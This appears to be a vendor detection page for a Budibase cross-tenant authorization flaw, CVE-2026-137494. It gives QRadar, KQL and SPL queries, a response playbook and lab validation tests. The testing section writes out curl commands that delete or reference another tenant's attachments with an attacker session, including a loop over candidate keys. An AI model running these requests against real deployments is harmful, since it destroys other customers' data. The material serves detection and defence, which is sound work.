Detect Budibase Cross-Tenant Object Authorization Bypass (CVE-2026-137494) in IBM QRadar
Detects exploitation of CVE-2026-137494, a broken object-level authorization (IDOR / CWE-639) vulnerability in Budibase before 4.0.0. Authenticated users holding table write access in one tenant can supply an attachment key (object reference) belonging to a different tenant, causing cross-tenant file deletion or reference. This detection surfaces authenticated API requests to attachment/row endpoints where the referenced object key or tenant identifier is inconsistent with the caller's own tenant context, repeated attachment-key manipulation, and anomalous file-deletion volume. Because the flaw is a server-side authorization gap, detection relies on application and proxy access logs correlating the authenticated user's tenant to the tenant encoded in the manipulated attachment key.
Based on VulnCheck Advisory: Budibase before 4.0.0 cross-tenant file deletion via attachment key
MITRE ATT&CK
- Tactic
- Privilege Escalation Impact Collection
QRadar Detection Query
-- df00tech DF00-a46e8cb1b8 · https://df00tech.com/detections/CVE-2026-137494 · licence: https://df00tech.com/detections/licence
SELECT sourceip, username, "url" AS request_url, COUNT(*) AS cross_tenant_ops FROM events WHERE LOGSOURCETYPENAME(devicetype) ILIKE '%budibase%' AND "url" ILIKE '%/api/attachments%' AND "method" IN ('DELETE','PATCH','POST','PUT') AND "status" IN ('200','204') AND MATCHES("url", '.*([A-Za-z0-9]+)/attachments/.*') AND "attachment_tenant" IS NOT NULL AND "caller_tenant" IS NOT NULL AND "attachment_tenant" != "caller_tenant" GROUP BY sourceip, username, request_url HAVING cross_tenant_ops >= 1 LAST 10 MINUTES QRadar AQL that groups authenticated Budibase attachment mutations by source and user where the enriched attachment-key tenant differs from the caller tenant custom property.
Data Sources
Required Tables
False Positives & Tuning
- Cross-tenant maintenance by privileged operators
- Global/shared attachment keys
- Custom-property extraction gaps causing null tenant comparisons
Other platforms for CVE-2026-137494
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.
- Test 1 Cross-tenant attachment deletion via manipulated key
Expected signal: Access log entry for DELETE /api/attachments with attacker session/tenant and a key prefix matching victim tenant B, status 200/204.
- Test 2 Cross-tenant row reference via attachment key in row write
Expected signal: Row mutation log entry carrying an attachment key whose tenant prefix differs from the authenticated tenant.
- Test 3 Enumeration of cross-tenant attachment keys
Expected signal: Burst of DELETE requests to /api/attachments with varying keys carrying non-caller tenant prefixes.
Response Playbook
Triage
- Identify the authenticated user, API key, and session associated with the flagged request and confirm which tenant the account legitimately belongs to.
- Decode the attachment key in the request and determine its owning tenant; confirm whether it differs from the caller's tenant, establishing a genuine cross-tenant reference.
- Review the response status and endpoint (DELETE vs PATCH/POST) to determine whether a cross-tenant file was actually deleted, modified, or merely referenced.
- Check the Budibase version in use; versions before 4.0.0 are vulnerable to CVE-2026-137494 and corroborate exploitability.
Containment
- Suspend or restrict the implicated user account and revoke active API keys/sessions to stop further cross-tenant operations.
- Apply a WAF/proxy rule to block attachment/row requests whose embedded key tenant does not match the authenticated tenant until the platform is patched.
- Upgrade Budibase to 4.0.0 or later to remediate the broken object-level authorization flaw.
Evidence Collection
- Preserve application access logs, reverse-proxy logs, and audit records covering the implicated session and attachment keys.
- Snapshot the affected tenants' attachment stores and database row/table metadata to document deleted or altered objects for recovery and forensics.
Escalation Criteria
- !Escalate to incident response if confirmed cross-tenant file deletion or data modification occurred affecting a victim tenant's production data.
- !Escalate to the data protection/privacy team if cross-tenant access exposed or destroyed another customer's regulated or personal data.
Investigation Guide
Forensic Artifacts
- >
Budibase application access logs showing attachment keys with mismatched tenant prefixes - >
Reverse-proxy/load-balancer request logs with authenticated user and tenant context - >
Budibase audit/event records of file deletion and row/table mutations
Tuning Guidance
Baseline legitimate multi-tenant operator and automation accounts and exclude them, or route them through a dedicated service identity. Confirm that the attachment-key format in your Budibase version actually encodes a tenant prefix and adjust the regex accordingly; if keys are opaque, enrich with a lookup mapping key->tenant. Raise the cross_tenant_ops threshold or correlate with deletion volume to cut noise once the key-to-tenant mapping is reliable.
Hunting Queries
Surface accounts performing high-volume attachment deletions or touching more than one tenant's attachment keys, a hallmark of cross-tenant IDOR abuse.
// df00tech DF00-a46e8cb1b8 · https://df00tech.com/detections/CVE-2026-137494 · licence: https://df00tech.com/detections/licence
AppServiceHTTPLogs | where CsUriStem has "/api/attachments" and CsMethod == "DELETE" | extend AttachmentKey = extract(@"([A-Za-z0-9]+)/attachments/", 1, CsUriStem) | summarize Deletions=count(), Keys=make_set(AttachmentKey, 50) by CIp, bin(TimeGenerated, 1h) | where Deletions > 20 ``` df00tech DF00-a46e8cb1b8 · https://df00tech.com/detections/CVE-2026-137494 · licence: https://df00tech.com/detections/licence ```
index=budibase uri_path="*/api/attachments*" method=DELETE | rex field=uri_path "(?<attachment_tenant>[A-Za-z0-9]+)/attachments/" | stats count AS deletions dc(attachment_tenant) AS tenants values(attachment_tenant) AS tenant_list by user src_ip | where tenants > 1 Atomic Red Team Tests
As an authenticated user in tenant A with table write access, issue a DELETE against an attachment key belonging to tenant B to simulate the IDOR.
Command
curl -s -X DELETE "https://budibase.lab.local/api/attachments/process/${VICTIM_TENANT_KEY}" -H "x-budibase-app-id: ${ATTACKER_APP_ID}" -H "Cookie: budibase:auth=${ATTACKER_SESSION}" -o /dev/null -w '%{http_code}\n' Cleanup
echo 'Lab only: restore deleted attachment from the tenant B snapshot taken before the test.' Expected Telemetry
Access log entry for DELETE /api/attachments with attacker session/tenant and a key prefix matching victim tenant B, status 200/204.
Expected Detection
KQL/SPL cross-tenant rule fires on attachment_tenant != caller_tenant.
Authenticated tenant-A user submits a row PATCH embedding tenant B's attachment key to reference another tenant's object.
Command
curl -s -X PATCH "https://budibase.lab.local/api/rows" -H "Content-Type: application/json" -H "Cookie: budibase:auth=${ATTACKER_SESSION}" -d '{"tableId":"ta_attacker","attachments":[{"key":"'"${VICTIM_TENANT_KEY}"'"}]}' -o /dev/null -w '%{http_code}\n' Cleanup
curl -s -X PATCH "https://budibase.lab.local/api/rows" -H "Cookie: budibase:auth=${ATTACKER_SESSION}" -d '{"tableId":"ta_attacker","attachments":[]}' >/dev/null Expected Telemetry
Row mutation log entry carrying an attachment key whose tenant prefix differs from the authenticated tenant.
Expected Detection
Rules flag mismatched attachment_tenant vs caller_tenant on /api/rows.
Attacker iterates candidate attachment keys across tenant namespaces to find deletable cross-tenant objects.
Command
for k in key1 key2 key3; do curl -s -X DELETE "https://budibase.lab.local/api/attachments/process/other_tenant_${k}" -H "Cookie: budibase:auth=${ATTACKER_SESSION}" -o /dev/null -w '%{http_code}\n'; done Cleanup
echo 'Lab only: no persistent artifacts beyond any successfully deleted test attachments; restore from snapshot.' Expected Telemetry
Burst of DELETE requests to /api/attachments with varying keys carrying non-caller tenant prefixes.
Expected Detection
High-volume / multi-tenant hunting query and the cross-tenant rule both fire.